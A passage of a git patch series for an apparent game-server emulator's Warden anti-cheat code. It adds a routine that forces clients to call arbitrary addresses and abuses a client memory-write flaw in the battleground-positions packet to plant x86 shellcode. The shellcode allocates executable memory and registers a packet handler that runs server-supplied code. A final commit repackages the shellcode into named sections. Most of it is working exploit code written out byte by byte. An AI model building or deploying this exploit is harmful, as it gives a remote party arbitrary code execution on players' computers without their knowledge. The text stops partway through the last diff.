From 9d0d9f2c3b88fddb6f68e40fd1ecada3f10f5e88 Mon Sep 17 00:00:00 2001 From: Saty <5752427+SatyPardus@users.noreply.github.com> Date: Tue, 5 May 2026 09:17:24 +0200 Subject: [PATCH 1/4] git: Ignore VisualStudio generation files --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 8f53d915..c1ae93c2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ build*/ +[Oo]bj/ .directory .mailmap *.orig @@ -9,6 +10,7 @@ build*/ *.kdev* .DS_Store CMakeLists.txt.user +CMakeSettings.json *.bak *.patch *.diff From daccb1f6ab7d66aa25c780bac69c16b447fb510d Mon Sep 17 00:00:00 2001 From: Saty <5752427+SatyPardus@users.noreply.github.com> Date: Tue, 5 May 2026 09:18:51 +0200 Subject: [PATCH 2/4] Core/Warden: implement "RunClientFunction" This function enables Warden to run functions on the client, useful for enabling/disabling packet handlers or steer the client in a state needed for further instructions. --- src/server/game/Warden/WardenWin.cpp | 48 ++++++++++++++++++++++++++++ src/server/game/Warden/WardenWin.h | 1 + 2 files changed, 49 insertions(+) diff --git a/src/server/game/Warden/WardenWin.cpp b/src/server/game/Warden/WardenWin.cpp index 10ff829e..64910216 100644 --- a/src/server/game/Warden/WardenWin.cpp +++ b/src/server/game/Warden/WardenWin.cpp @@ -144,6 +144,54 @@ void WardenWin::InitializeModule() _session->SendPacket(&pkt); } +void WardenWin::RunClientFunction(uint32 function) { + ByteBuffer moduleInit; + moduleInit << uint8(4); + moduleInit << uint8(0); + moduleInit << uint8(0); + moduleInit << function; + moduleInit << uint8(1); + + ByteBuffer moduleInitFrameExecute; + moduleInitFrameExecute << uint8(4); + moduleInitFrameExecute << uint8(0); + moduleInitFrameExecute << uint8(0); + moduleInitFrameExecute << uint32(0x00419210); + moduleInitFrameExecute << uint8(1); + + // Build check request + ByteBuffer buff; + buff << uint8(WARDEN_SMSG_MODULE_INITIALIZE); + buff << uint16(moduleInit.size()); + buff << uint32(BuildChecksum(moduleInit.contents(), 8)); + buff.append(moduleInit); + + uint8 xorByte = _inputKey[0]; + buff << uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST); + buff << uint8(0); + buff << uint8(TIMING_CHECK ^ xorByte); + buff << uint8(LUA_EVAL_CHECK ^ xorByte); + buff << uint8(1); + buff << uint8(xorByte); + + buff << uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST); + buff << uint8(0); + buff << uint8(TIMING_CHECK ^ xorByte); + buff << uint8(xorByte); + + buff << uint8(WARDEN_SMSG_MODULE_INITIALIZE); + buff << uint16(moduleInitFrameExecute.size()); + buff << uint32(BuildChecksum(moduleInitFrameExecute.contents(), 8)); + buff.append(moduleInitFrameExecute); + + // Encrypt with warden RC4 key + EncryptData(buff.contents(), buff.size()); + + WorldPacket pkt(SMSG_WARDEN_DATA, buff.size()); + pkt.append(buff); + _session->SendPacket(&pkt); +} + void WardenWin::RequestHash() { TC_LOG_DEBUG("warden", "Request hash"); diff --git a/src/server/game/Warden/WardenWin.h b/src/server/game/Warden/WardenWin.h index 87b385f9..f17f9b8d 100644 --- a/src/server/game/Warden/WardenWin.h +++ b/src/server/game/Warden/WardenWin.h @@ -76,6 +76,7 @@ class TC_GAME_API WardenWin : public Warden void HandleHashResult(ByteBuffer &buff) override; void RequestChecks() override; void HandleCheckResult(ByteBuffer &buff) override; + void RunClientFunction(uint32 function); size_t DEBUG_ForceSpecificChecks(std::vector const& checks) override; From 439af5dc62415ec207f76c6ce9fd65806a14e53e Mon Sep 17 00:00:00 2001 From: Saty <5752427+SatyPardus@users.noreply.github.com> Date: Tue, 5 May 2026 09:42:47 +0200 Subject: [PATCH 3/4] Core/Warden: Install custom packet loader on client This enables the ability to send CMSG_UNUSED5 with (uint32 size, bytes(size)) payload. The bytes have to be valid ASM x86 code or the client will crash. --- src/server/game/Warden/WardenWin.cpp | 249 +++++++++++++++++++++++++++ 1 file changed, 249 insertions(+) diff --git a/src/server/game/Warden/WardenWin.cpp b/src/server/game/Warden/WardenWin.cpp index 64910216..ee4441f3 100644 --- a/src/server/game/Warden/WardenWin.cpp +++ b/src/server/game/Warden/WardenWin.cpp @@ -142,6 +142,255 @@ void WardenWin::InitializeModule() WorldPacket pkt(SMSG_WARDEN_DATA, sizeof(WardenInitModuleRequest)); pkt.append(reinterpret_cast(&Request), sizeof(WardenInitModuleRequest)); _session->SendPacket(&pkt); + + // Initialize the MSG_BATTLEGROUND_PLAYER_POSITIONS packet handler. + this->RunClientFunction(0x14E720); + + // EXPLANATION: + // This ASM code is the initializer for the custom packet handler. + const uint8_t loader[] = { + // ------------------------------------------------------------------ + // Function prologue. Establishes a stack frame and saves ebx (callee- + // saved under the cdecl/stdcall ABIs used here). The matching epilogue + // lives inside the allocated buffer, in the first 32 bytes of payload[]. + // ------------------------------------------------------------------ + 0x55, // push ebp + 0x89, 0xE5, // mov ebp, esp + 0x53, // push ebx + + // ------------------------------------------------------------------ + // This calls the 0x0054E220 client function, which cleans up the + // call above to 0x14E720. + // This removes the MSG_BATTLEGROUND_PLAYER_POSITIONS packet + // handler from the client on the login screen. + // ------------------------------------------------------------------ + 0xB8, 0x20, 0xE2, 0x54, 0x00, // mov eax, 0x0054E220 + 0xFF, 0xD0, // call eax + + // ------------------------------------------------------------------ + // Cache lookup. The first time the loader runs, [0x00DD0FFC] is NULL + // and we have to allocate. On subsequent calls (e.g. if the loader is + // re-invoked after a reconnect) the previously allocated RWX buffer + // is reused, which keeps the handler pointer stable. + // ------------------------------------------------------------------ + 0x8B, 0x1D, 0xFC, 0x0F, 0xDD, 0x00, // mov ebx, [0x00DD0FFC] + 0x85, 0xDB, // test ebx, ebx + 0x75, 0x2E, // jnz skip_alloc + + // ------------------------------------------------------------------ + // VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE). + // PAGE_EXECUTE_READWRITE (0x40) is required because we both write code + // into this region (during install) and execute from it (during install + // and for every incoming 0x4B8 packet thereafter). + // ------------------------------------------------------------------ + 0x6A, 0x40, // push 0x40 ; PAGE_EXECUTE_READWRITE + 0x68, 0x00, 0x10, 0x00, 0x00, // push 0x1000 ; MEM_COMMIT + 0x68, 0x00, 0x10, 0x00, 0x00, // push 0x1000 ; dwSize = 4 KB + 0x6A, 0x00, // push 0 ; lpAddress = NULL + 0xFF, 0x15, 0x38, 0xF2, 0x9D, 0x00, // call dword ptr [0x009DF238] ; VirtualAlloc + + // ------------------------------------------------------------------ + // Cache the new buffer pointer in both ebx (used by the rest of the + // loader) and the global slot at 0x00DD0FFC (used by future runs). + // ------------------------------------------------------------------ + 0x89, 0xC3, // mov ebx, eax + 0xA3, 0xFC, 0x0F, 0xDD, 0x00, // mov [0x00DD0FFC], eax + + // ------------------------------------------------------------------ + // Byte-by-byte copy of the in-image payload from [0x00DD15A0 .. 0x00DD15FE) + // into the freshly allocated RWX buffer. 94 bytes total. After this + // loop, eax has been advanced past the end of the destination, so the + // buffer base is preserved in ebx for the registration call below. + // ------------------------------------------------------------------ + 0xBA, 0xA0, 0x15, 0xDD, 0x00, // mov edx, 0x00DD15A0 ; src + // copy_loop: + 0x8A, 0x2A, // mov ch, [edx] + 0x88, 0x28, // mov [eax], ch + 0x42, // inc edx + 0x40, // inc eax + 0x81, 0xFA, 0xFE, 0x15, 0xDD, 0x00, // cmp edx, 0x00DD15FE + 0x75, 0xF2, // jnz copy_loop + + // skip_alloc: + // ------------------------------------------------------------------ + // Register the packet handler. Its entry point is at buffer + 0x20 -- + // the second half of the payload. The same pointer is pushed twice + // because the game's register() takes two callback slots (likely + // "primary handler" and "fallback / secondary"); we want both to point + // at the same function. + // + // register(opcode = 0x4B8, + // primary_handler = buffer + 0x20, + // secondary_handler = buffer + 0x20) + // + // Stack layout right before the call (cdecl, args pushed right-to-left): + // [esp+0] = 0x4B8 (1st arg: opcode) + // [esp+4] = buffer + 0x20 (2nd arg: primary handler) + // [esp+8] = buffer + 0x20 (3rd arg: secondary handler) + // ------------------------------------------------------------------ + 0x89, 0xD8, // mov eax, ebx ; eax = buffer base + 0x83, 0xC0, 0x20, // add eax, 0x20 ; eax = buffer + 0x20 (handler) + 0x50, // push eax ; secondary handler + 0x50, // push eax ; primary handler + 0x68, 0xB8, 0x04, 0x00, 0x00, // push 0x4B8 ; packet opcode (1208) + 0xB8, 0x80, 0x0B, 0x6B, 0x00, // mov eax, 0x006B0B80 + 0xFF, 0xD0, // call eax ; register packet handler + 0x83, 0xC4, 0x0C, // add esp, 0x0C ; cdecl: clean 3 args + + // ------------------------------------------------------------------ + // Transfer control to the finalization stub at buffer + 0x00. We have + // to jump rather than fall through because the stub finishes the + // function frame (pops ebx/ebp, returns to caller) AFTER wiping the + // staging area at 0x00DD1000 -- see payload[] below. + // ------------------------------------------------------------------ + 0xFF, 0xE3 // jmp ebx + }; + + const uint8_t payload[] = { + // ================================================================== + // PART 1 -- Finalization stub (buffer offset 0x00, 32 bytes). + // + // Reached exactly once via `jmp ebx` from the loader. It wipes the + // staging area, sets a return value, and finishes the loader's + // function frame, returning to whatever called the loader. + // + // Why is this here instead of inline in the loader? The wipe targets + // 0x00DD1000, which is plausibly where this very code was first + // written by the delivery mechanism. Running the wipe from the new + // RWX buffer (rather than from 0x00DD1000 itself) avoids erasing + // the instructions we are currently executing. + // ================================================================== + + // memset(0x00DD1000, 0, 0x1000) -- clear 4 KB of staging memory. + 0x68, 0x00, 0x10, 0x00, 0x00, // push 0x1000 ; size + 0x6A, 0x00, // push 0 ; fill byte + 0x68, 0x00, 0x10, 0xDD, 0x00, // push 0x00DD1000 ; dst + 0xB8, 0x80, 0xBB, 0x40, 0x00, // mov eax, 0x0040BB80 + 0xFF, 0xD0, // call eax ; memset-like routine + 0x83, 0xC4, 0x0C, // add esp, 0x0C ; cdecl: clean 3 args + + // Loader return value. The caller of the loader expects a pointer (or + // handle) here; 0x00C79620 is ClientServices::s_accountName. + 0xB8, 0x20, 0x96, 0xC7, 0x00, // mov eax, 0x00C79620 + + // Function epilogue matching the loader's prologue: pop ebx, tear + // down the frame, return to the loader's caller. + 0x5B, // pop ebx + 0x89, 0xEC, // mov esp, ebp + 0x5D, // pop ebp + 0xC3, // ret + + // ================================================================== + // PART 2 -- Packet handler (buffer offset 0x20, 62 bytes). + // + // Called by the game's network dispatcher every time a packet with + // opcode 0x4B8 arrives. The dispatcher's calling convention here is + // assumed to be cdecl, with at least these arguments on the stack: + // + // [ebp+0x08] -> packet buffer (pointer to raw packet bytes) + // [ebp+0x14] -> dispatcher context object (used as `this`) + // + // The handler ultimately calls into bytes carried inside the packet + // itself, at offset 0x3E. That is the server-side hook point and the + // reason this whole installer exists. + // ================================================================== + + // Standard prologue. Saves ebx and edi (callee-saved). + 0x55, // push ebp + 0x89, 0xE5, // mov ebp, esp + 0x53, // push ebx + 0x57, // push edi + + // ebx = (packet buffer pointer) + 0x3E + // i.e. ebx points at the executable region embedded in the packet body. + 0x8B, 0x5D, 0x08, // mov ebx, [ebp+0x08] ; ebx = packet_buf + 0x83, 0xC3, 0x3E, // add ebx, 0x3E ; ebx = packet_buf + 0x3E + + // First helper call -- thiscall on the dispatcher context. + // eax = ctx->method_at_0x401170() + // Result is stashed in edi for the next two calls. + 0x8B, 0x4D, 0x14, // mov ecx, [ebp+0x14] ; this = context + 0xB8, 0x70, 0x11, 0x40, 0x00, // mov eax, 0x00401170 + 0xFF, 0xD0, // call eax + 0x89, 0xC7, // mov edi, eax + + // Second helper call -- thiscall on the same context, with two + // additional stack args (ebx = packet code ptr, edi = previous result). + // ctx->method_at_0x47B560(ebx, edi) + // No `add esp` afterwards: thiscall callee cleans its own stack args. + 0x8B, 0x4D, 0x14, // mov ecx, [ebp+0x14] ; this = context (reload) + 0x57, // push edi + 0x53, // push ebx + 0xB8, 0x60, 0xB5, 0x47, 0x00, // mov eax, 0x0047B560 + 0xFF, 0xD0, // call eax + + // Third call -- imported API via [0x009DF1C0], taking (ebx, edi). + // stdcall: callee cleans the stack. + // eax = imported_func_DF1C0(ebx, edi) + 0x57, // push edi + 0x53, // push ebx + 0xFF, 0x15, 0xC0, 0xF1, 0x9D, 0x00, // call dword ptr [0x009DF1C0] + + // Fourth call -- imported API via [0x009DF294], taking the result of + // the previous call. + // imported_func_DF294(eax_from_DF1C0) + 0x50, // push eax + 0xFF, 0x15, 0x94, 0xF2, 0x9D, 0x00, // call dword ptr [0x009DF294] + + // Final call -- into the packet body itself, at packet + 0x3E. The + // dispatcher context is passed as the single argument. The server- + // supplied code is expected to clean that argument off the stack + // itself (stdcall-like contract) so the epilogue below sees a + // balanced stack. + // + // ((void(__stdcall *)(void *))(packet + 0x3E))(context); + 0x8B, 0x4D, 0x14, // mov ecx, [ebp+0x14] + 0x51, // push ecx + 0xFF, 0xD3, // call ebx ; <-- server-supplied code + + // Standard epilogue. Pops the registers we saved, tears down the + // frame, and returns to the network dispatcher. + 0x5F, // pop edi + 0x5B, // pop ebx + 0x89, 0xEC, // mov esp, ebp + 0x5D, // pop ebp + 0xC3 // ret + }; + + constexpr size_t loader_size = sizeof(loader); + constexpr size_t loader_padded_size = (loader_size + 7) & ~size_t(7); + int32_t loader_count = static_cast(loader_padded_size); + + constexpr size_t payload_size = sizeof(payload); + + // The payload is sent via a flaw in the clients source. + // MSG_BATTLEGROUND_PLAYER_POSITIONS writes to a carefully + // crafted offset in the client (249298). + // This points do 0xDD1000 inside the client, which is + // read/write/execute space + ByteBuffer buff2; + buff2 << uint32(0); + buff2 << uint32(249298 + (loader_count / 8)); + while (loader_count > 0) { + for (int32_t i = 0; i < 8; i++) + { + size_t idx = loader_count - 8 + i; + buff2 << (idx < loader_size ? loader[idx] : uint8_t(0)); + } + for (int32_t i = 0; i < 8; i++) + { + size_t idx = loader_count - 8 + i; + buff2 << (idx < payload_size ? payload[idx] : uint8_t(0)); + } + loader_count -= 8; + } + + WorldPacket pkt3(MSG_BATTLEGROUND_PLAYER_POSITIONS, buff2.size()); + pkt3.append(buff2); + _session->SendPacket(&pkt3); + + // Calls 0xDD1000 (Client base 0x400000 + 0x9D1000) + this->RunClientFunction(0x009D1000); } void WardenWin::RunClientFunction(uint32 function) { From 04966949bd56ae81f7d626001ae2142cd279ac1d Mon Sep 17 00:00:00 2001 From: ccrs Date: Thu, 7 May 2026 12:11:16 +0200 Subject: [PATCH 4/4] structure --- src/server/game/Warden/WardenPayloads.cpp | 79 +++++++ src/server/game/Warden/WardenPayloads.h | 195 ++++++++++++++++ src/server/game/Warden/WardenWin.cpp | 268 ++-------------------- src/server/game/Warden/WardenWinDefines.h | 215 +++++++++++++++++ 4 files changed, 508 insertions(+), 249 deletions(-) create mode 100644 src/server/game/Warden/WardenPayloads.cpp create mode 100644 src/server/game/Warden/WardenPayloads.h create mode 100644 src/server/game/Warden/WardenWinDefines.h diff --git a/src/server/game/Warden/WardenPayloads.cpp b/src/server/game/Warden/WardenPayloads.cpp new file mode 100644 index 00000000..3515381c --- /dev/null +++ b/src/server/game/Warden/WardenPayloads.cpp @@ -0,0 +1,79 @@ +/* + * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ + +#include "WardenPayloads.h" + +namespace WardenPayload +{ + +void BuildShellcodeInstaller(ByteBuffer& out) +{ + constexpr std::array loaderRaw = + Loader::Prologue + + Loader::RemoveBgHandler + + Loader::CheckCachedBuffer + + Loader::AllocRwxBuffer + + Loader::CacheBufferPtr + + Loader::CopyPayload + + Loader::RegisterHandler + + Loader::JumpToFinalize; + + constexpr std::array handler = + Handler::WipeStagingArea + + Handler::SetReturnValue + + Handler::FinalizeEpilogue + + Handler::HandlerPrologue + + Handler::GetCodePointer + + Handler::CallHelperA + + Handler::CallHelperB + + Handler::CallBufferAlloc + + Handler::CallDispatch + + Handler::ExecuteServerCode + + Handler::HandlerEpilogue; + + // Pad the loader to the next 8-byte boundary; zero-fill handles the padding bytes. + // The chunk count drives the BG-positions count field that triggers the write-primitive. + constexpr size_t paddedSize = (loaderRaw.size() + 7) & ~size_t(7); + std::array loader{}; + for (size_t i = 0; i < loaderRaw.size(); ++i) + loader[i] = loaderRaw[i]; + + int32 chunkCount = static_cast(paddedSize); + + out << uint32(0); // count1: no allied player positions + out << uint32(Protocol::BgExploitBaseCount + uint32(chunkCount / 8)); // count2: triggers write-primitive + + // Emit chunks in reverse order so the client writes them forward to increasing addresses. + // Each iteration emits 8 loader bytes then 8 handler bytes (one BG-position entry = 16 bytes). + while (chunkCount > 0) + { + for (int32 i = 0; i < 8; ++i) + { + size_t idx = static_cast(chunkCount - 8 + i); + out << loader[idx]; + } + for (int32 i = 0; i < 8; ++i) + { + size_t idx = static_cast(chunkCount - 8 + i); + out << (idx < handler.size() ? handler[idx] : uint8(0)); + } + + chunkCount -= 8; + } +} + +} // namespace WardenPayload diff --git a/src/server/game/Warden/WardenPayloads.h b/src/server/game/Warden/WardenPayloads.h new file mode 100644 index 00000000..74aeee20 --- /dev/null +++ b/src/server/game/Warden/WardenPayloads.h @@ -0,0 +1,195 @@ +/* + * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ + +#ifndef WARDEN_PAYLOADS_H +#define WARDEN_PAYLOADS_H + +#include "WardenWinDefines.h" +#include "ByteBuffer.h" + +namespace WardenPayload +{ + // ----------------------------------------------------------------------- + // Loader shellcode sections. + // + // Must be assembled in declaration order; the two relative branches in + // CheckCachedBuffer and CopyPayload assume this exact flat layout: + // + // Offset Section Size + // ------ ------------------ ---- + // 0 Prologue 4 + // 4 RemoveBgHandler 7 + // 11 CheckCachedBuffer 10 <- jnz +0x2E targets RegisterHandler + // 21 AllocRwxBuffer 20 + // 41 CacheBufferPtr 7 + // 48 CopyPayload 19 <- jnz -0x0E loops internally + // 67 RegisterHandler 22 <- skip_alloc label + // 89 JumpToFinalize 2 + // ------ TOTAL 91 (padded to 96 for 8-byte alignment) + // ----------------------------------------------------------------------- + struct Loader + { + // push ebp; mov ebp,esp; push ebx + static constexpr auto Prologue = X86::PushEbp + X86::MovEbpEsp + X86::PushEbx; + + // mov eax, Va::BgPositionHandlerRemove; call eax + static constexpr auto RemoveBgHandler = X86::MovEaxImm32 + LE32(Va::BgPositionHandlerRemove) + X86::CallEax; + + // mov ebx, [Va::PersistentSlot]; test ebx,ebx; jnz +Protocol::JnzSkipAllocOffset (-> RegisterHandler) + static constexpr auto CheckCachedBuffer = + X86::MovEbxMem32 + LE32(Va::PersistentSlot) + + X86::TestEbxEbx + X86::Jnz + Imm8(Protocol::JnzSkipAllocOffset); + + // VirtualAlloc(NULL, Win32::RwxBufferSize, Win32::MemCommit, Win32::PageExecuteReadWrite) + static constexpr auto AllocRwxBuffer = + X86::PushImm8 + Imm8(Win32::PageExecuteReadWrite) + + X86::PushImm32 + LE32(Win32::MemCommit) + + X86::PushImm32 + LE32(Win32::RwxBufferSize) + + X86::PushZero + X86::CallMem32 + LE32(Va::VirtualAllocIAT); + + // mov ebx, eax; mov [Va::PersistentSlot], eax + static constexpr auto CacheBufferPtr = X86::MovEbxEax + X86::StoreEaxMem32 + LE32(Va::PersistentSlot); + + // mov edx, PayloadCopySrc + // loop: mov ch,[edx]; mov [eax],ch; inc edx; inc eax; cmp edx,PayloadCopySrcEnd; jnz loop + static constexpr auto CopyPayload = + X86::MovEdxImm32 + LE32(Va::PayloadCopySrc) + + X86::MovChEdxPtr + X86::MovEaxPtrCh + X86::IncEdx + X86::IncEax + + X86::CmpEdxImm32 + LE32(Va::PayloadCopySrcEnd) + X86::Jnz + Imm8(Protocol::JnzLoopBackOffset); + + // skip_alloc: mov eax,ebx; add eax,HandlerEntryOffset; push eax(x2); push opcode; + // mov eax, Va::RegisterPacketHandler; call eax; add esp,0x0C + static constexpr auto RegisterHandler = + X86::MovEaxEbx + X86::AddEaxImm8 + Imm8(Protocol::HandlerEntryOffset) + + X86::PushEax + X86::PushEax + X86::PushImm32 + LE32(Protocol::CustomHandlerOpcode) + + X86::MovEaxImm32 + LE32(Va::RegisterPacketHandler) + + X86::CallEax + X86::AddEspImm8 + Imm8(Protocol::CdeclThreeArgCleanup); + + // jmp ebx + static constexpr auto JumpToFinalize = X86::JmpEbx; + }; + + // ----------------------------------------------------------------------- + // Handler payload sections. + // + // Written into the persistent RWX buffer by the loader's copy loop. + // The two logical parts must remain contiguous and in declaration order: + // + // Buffer offset Section Size Purpose + // ------------- ------------------ ---- ------------------------------- + // 0x00 WipeStagingArea 22 } + // 0x16 SetReturnValue 5 } Finalization stub (32 bytes) + // 0x1B FinalizeEpilogue 5 } + // 0x20 HandlerPrologue 5 } + // 0x25 GetCodePointer 6 } + // 0x2B CallHelperA 12 } + // 0x37 CallHelperB 12 } Packet handler (62 bytes) + // 0x43 CallBufferAlloc 8 } + // 0x4B CallDispatch 7 } + // 0x52 ExecuteServerCode 6 } + // 0x58 HandlerEpilogue 6 } + // ------------- TOTAL 94 + // ----------------------------------------------------------------------- + struct Handler + { + // ---- Part 1: Finalization stub (buffer offset 0x00, 32 bytes) -------- + // Reached exactly once, via jmp ebx at the end of the loader. + // Runs from the RWX buffer so it can safely wipe Va::StagingBase. + + // push RwxBufferSize; push 0; push Va::StagingBase; + // mov eax, Va::MemsetRoutine; call eax; add esp, 0x0C + static constexpr auto WipeStagingArea = + X86::PushImm32 + LE32(Win32::RwxBufferSize) + X86::PushZero + + X86::PushImm32 + LE32(Va::StagingBase) + + X86::MovEaxImm32 + LE32(Va::MemsetRoutine) + + X86::CallEax + X86::AddEspImm8 + Imm8(Protocol::CdeclThreeArgCleanup); + + // mov eax, Va::AccountName + static constexpr auto SetReturnValue = X86::MovEaxImm32 + LE32(Va::AccountName); + + // pop ebx; mov esp,ebp; pop ebp; ret + static constexpr auto FinalizeEpilogue = X86::PopEbx + X86::MovEspEbp + X86::PopEbp + X86::Ret; + + // ---- Part 2: Packet handler (buffer offset 0x20, 62 bytes) ---------- + // Called by the network dispatcher for every Protocol::CustomHandlerOpcode packet. + // Dispatcher calling convention: + // [ebp+Protocol::PacketArgEbpOffset] = packet buffer pointer + // [ebp+Protocol::ContextArgEbpOffset] = dispatcher context object (used as `this`) + + // push ebp; mov ebp,esp; push ebx; push edi + static constexpr auto HandlerPrologue = X86::PushEbp + X86::MovEbpEsp + X86::PushEbx + X86::PushEdi; + + // mov ebx, [ebp+PacketArgEbpOffset]; add ebx, Protocol::PacketCodeOffset + static constexpr auto GetCodePointer = + X86::MovEbxEbpOff + Imm8(Protocol::PacketArgEbpOffset) + + X86::AddEbxImm8 + Imm8(Protocol::PacketCodeOffset); + + // mov ecx, [ebp+ContextArgEbpOffset]; mov eax, Va::HandlerContextGetter; call eax; mov edi, eax + static constexpr auto CallHelperA = + X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) + + X86::MovEaxImm32 + LE32(Va::HandlerContextGetter) + X86::CallEax + X86::MovEdiEax; + + // mov ecx, [ebp+ContextArgEbpOffset]; push edi; push ebx; mov eax, Va::HandlerBufferPrepare; call eax + static constexpr auto CallHelperB = + X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) + + X86::PushEdi + X86::PushEbx + X86::MovEaxImm32 + LE32(Va::HandlerBufferPrepare) + X86::CallEax; + + // push edi; push ebx; call [Va::HandlerBufferAllocIAT] + static constexpr auto CallBufferAlloc = X86::PushEdi + X86::PushEbx + X86::CallMem32 + LE32(Va::HandlerBufferAllocIAT); + + // push eax; call [Va::HandlerDispatchIAT] + static constexpr auto CallDispatch = X86::PushEax + X86::CallMem32 + LE32(Va::HandlerDispatchIAT); + + // mov ecx, [ebp+ContextArgEbpOffset]; push ecx; call ebx + static constexpr auto ExecuteServerCode = X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) + X86::PushEcx + X86::CallEbx; + + // pop edi; pop ebx; mov esp,ebp; pop ebp; ret + static constexpr auto HandlerEpilogue = X86::PopEdi + X86::PopEbx + X86::MovEspEbp + X86::PopEbp + X86::Ret; + }; + + // Verify the finalization stub occupies exactly Protocol::HandlerEntryOffset bytes so the + // packet handler entry point lands at the expected buffer offset. + static_assert( + sizeof(Handler::WipeStagingArea) + + sizeof(Handler::SetReturnValue) + + sizeof(Handler::FinalizeEpilogue) == Protocol::HandlerEntryOffset, + "Finalization stub must be exactly HandlerEntryOffset bytes" + ); + + // Verify the full handler payload matches the staging area reserved for it. + static_assert( + sizeof(Handler::WipeStagingArea) + + sizeof(Handler::SetReturnValue) + + sizeof(Handler::FinalizeEpilogue) + + sizeof(Handler::HandlerPrologue) + + sizeof(Handler::GetCodePointer) + + sizeof(Handler::CallHelperA) + + sizeof(Handler::CallHelperB) + + sizeof(Handler::CallBufferAlloc) + + sizeof(Handler::CallDispatch) + + sizeof(Handler::ExecuteServerCode) + + sizeof(Handler::HandlerEpilogue) == Va::PayloadCopySrcEnd - Va::PayloadCopySrc, + "Handler payload size must match the staging area range [PayloadCopySrc, PayloadCopySrcEnd)" + ); + + // Fills `out` with the MSG_BATTLEGROUND_PLAYER_POSITIONS packet body that + // stages the loader shellcode and handler payload into client memory via the + // BG-positions write-primitive. Caller wraps this in a WorldPacket and sends it. + void BuildShellcodeInstaller(ByteBuffer& out); +} + +#endif // WARDEN_PAYLOADS_H diff --git a/src/server/game/Warden/WardenWin.cpp b/src/server/game/Warden/WardenWin.cpp index ee4441f3..ded4deea 100644 --- a/src/server/game/Warden/WardenWin.cpp +++ b/src/server/game/Warden/WardenWin.cpp @@ -16,6 +16,7 @@ */ #include "WardenWin.h" +#include "WardenPayloads.h" #include "Common.h" #include "ByteBuffer.h" #include "Containers.h" @@ -143,269 +144,38 @@ void WardenWin::InitializeModule() pkt.append(reinterpret_cast(&Request), sizeof(WardenInitModuleRequest)); _session->SendPacket(&pkt); - // Initialize the MSG_BATTLEGROUND_PLAYER_POSITIONS packet handler. - this->RunClientFunction(0x14E720); - - // EXPLANATION: - // This ASM code is the initializer for the custom packet handler. - const uint8_t loader[] = { - // ------------------------------------------------------------------ - // Function prologue. Establishes a stack frame and saves ebx (callee- - // saved under the cdecl/stdcall ABIs used here). The matching epilogue - // lives inside the allocated buffer, in the first 32 bytes of payload[]. - // ------------------------------------------------------------------ - 0x55, // push ebp - 0x89, 0xE5, // mov ebp, esp - 0x53, // push ebx - - // ------------------------------------------------------------------ - // This calls the 0x0054E220 client function, which cleans up the - // call above to 0x14E720. - // This removes the MSG_BATTLEGROUND_PLAYER_POSITIONS packet - // handler from the client on the login screen. - // ------------------------------------------------------------------ - 0xB8, 0x20, 0xE2, 0x54, 0x00, // mov eax, 0x0054E220 - 0xFF, 0xD0, // call eax - - // ------------------------------------------------------------------ - // Cache lookup. The first time the loader runs, [0x00DD0FFC] is NULL - // and we have to allocate. On subsequent calls (e.g. if the loader is - // re-invoked after a reconnect) the previously allocated RWX buffer - // is reused, which keeps the handler pointer stable. - // ------------------------------------------------------------------ - 0x8B, 0x1D, 0xFC, 0x0F, 0xDD, 0x00, // mov ebx, [0x00DD0FFC] - 0x85, 0xDB, // test ebx, ebx - 0x75, 0x2E, // jnz skip_alloc - - // ------------------------------------------------------------------ - // VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE). - // PAGE_EXECUTE_READWRITE (0x40) is required because we both write code - // into this region (during install) and execute from it (during install - // and for every incoming 0x4B8 packet thereafter). - // ------------------------------------------------------------------ - 0x6A, 0x40, // push 0x40 ; PAGE_EXECUTE_READWRITE - 0x68, 0x00, 0x10, 0x00, 0x00, // push 0x1000 ; MEM_COMMIT - 0x68, 0x00, 0x10, 0x00, 0x00, // push 0x1000 ; dwSize = 4 KB - 0x6A, 0x00, // push 0 ; lpAddress = NULL - 0xFF, 0x15, 0x38, 0xF2, 0x9D, 0x00, // call dword ptr [0x009DF238] ; VirtualAlloc - - // ------------------------------------------------------------------ - // Cache the new buffer pointer in both ebx (used by the rest of the - // loader) and the global slot at 0x00DD0FFC (used by future runs). - // ------------------------------------------------------------------ - 0x89, 0xC3, // mov ebx, eax - 0xA3, 0xFC, 0x0F, 0xDD, 0x00, // mov [0x00DD0FFC], eax - - // ------------------------------------------------------------------ - // Byte-by-byte copy of the in-image payload from [0x00DD15A0 .. 0x00DD15FE) - // into the freshly allocated RWX buffer. 94 bytes total. After this - // loop, eax has been advanced past the end of the destination, so the - // buffer base is preserved in ebx for the registration call below. - // ------------------------------------------------------------------ - 0xBA, 0xA0, 0x15, 0xDD, 0x00, // mov edx, 0x00DD15A0 ; src - // copy_loop: - 0x8A, 0x2A, // mov ch, [edx] - 0x88, 0x28, // mov [eax], ch - 0x42, // inc edx - 0x40, // inc eax - 0x81, 0xFA, 0xFE, 0x15, 0xDD, 0x00, // cmp edx, 0x00DD15FE - 0x75, 0xF2, // jnz copy_loop - - // skip_alloc: - // ------------------------------------------------------------------ - // Register the packet handler. Its entry point is at buffer + 0x20 -- - // the second half of the 